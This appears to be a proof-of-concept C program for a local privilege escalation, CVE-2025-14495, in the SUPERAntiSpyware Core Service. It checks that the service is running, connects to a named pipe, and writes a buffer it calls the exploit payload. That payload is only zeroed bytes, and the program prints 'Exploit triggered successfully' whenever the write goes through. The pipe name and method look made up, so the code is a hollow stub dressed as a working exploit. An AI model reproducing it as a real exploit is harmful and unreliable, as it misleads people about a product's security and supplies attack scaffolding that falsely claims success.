CVE-2025-14495

// CVE-2025-14495 PoC - SUPERAntiSpyware Local Privilege Escalation // This is a conceptual PoC demonstrating the attack vector // Note: Actual exploitation requires specific conditions and offsets #include <windows.h> #include <stdio.h> // Service name for SUPERAntiSpyware Core Service #define SERVICE_NAME "SAS Core Service" // Function to check if service is running BOOL CheckServiceStatus() { SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCManager == NULL) { printf("[-] Failed to open Service Control Manager\n"); return FALSE; } SC_HANDLE hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_QUERY_STATUS); if (hService == NULL) { printf("[-] Service not found or access denied\n"); CloseServiceHandle(hSCManager); return FALSE; } SERVICE_STATUS status; QueryServiceStatus(hService, &status); CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return (status.dwCurrentState == SERVICE_RUNNING); } // Function to trigger the vulnerable exposed function BOOL TriggerVulnerableFunction() { HANDLE hPipe; char buffer[1024]; // Attempt to connect to the service pipe hPipe = CreateFile( "\\\\.\\pipe\\SASServicePipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if (hPipe == INVALID_HANDLE_VALUE) { printf("[-] Failed to connect to service pipe\n"); return FALSE; } // Prepare malicious payload to exploit exposed dangerous function // This would trigger privilege escalation via the vulnerable function memset(buffer, 0, sizeof(buffer)); // Write exploit payload to pipe DWORD bytesWritten; BOOL result = WriteFile(hPipe, buffer, sizeof(buffer), &bytesWritten, NULL); CloseHandle(hPipe); return result; } int main() { printf("[+] CVE-2025-14495 PoC - SUPERAntiSpyware LPE\n"); printf("[+] Checking if vulnerable service is running...\n"); if (!CheckServiceStatus()) { printf("[-] Target service not running or not accessible\n"); return 1; } printf("[+] Service is running, attempting exploitation...\n"); if (TriggerVulnerableFunction()) { printf("[+] Exploit triggered successfully\n"); printf("[+] Check for elevated privileges\n"); } else { printf("[-] Exploitation failed\n"); } return 0; }

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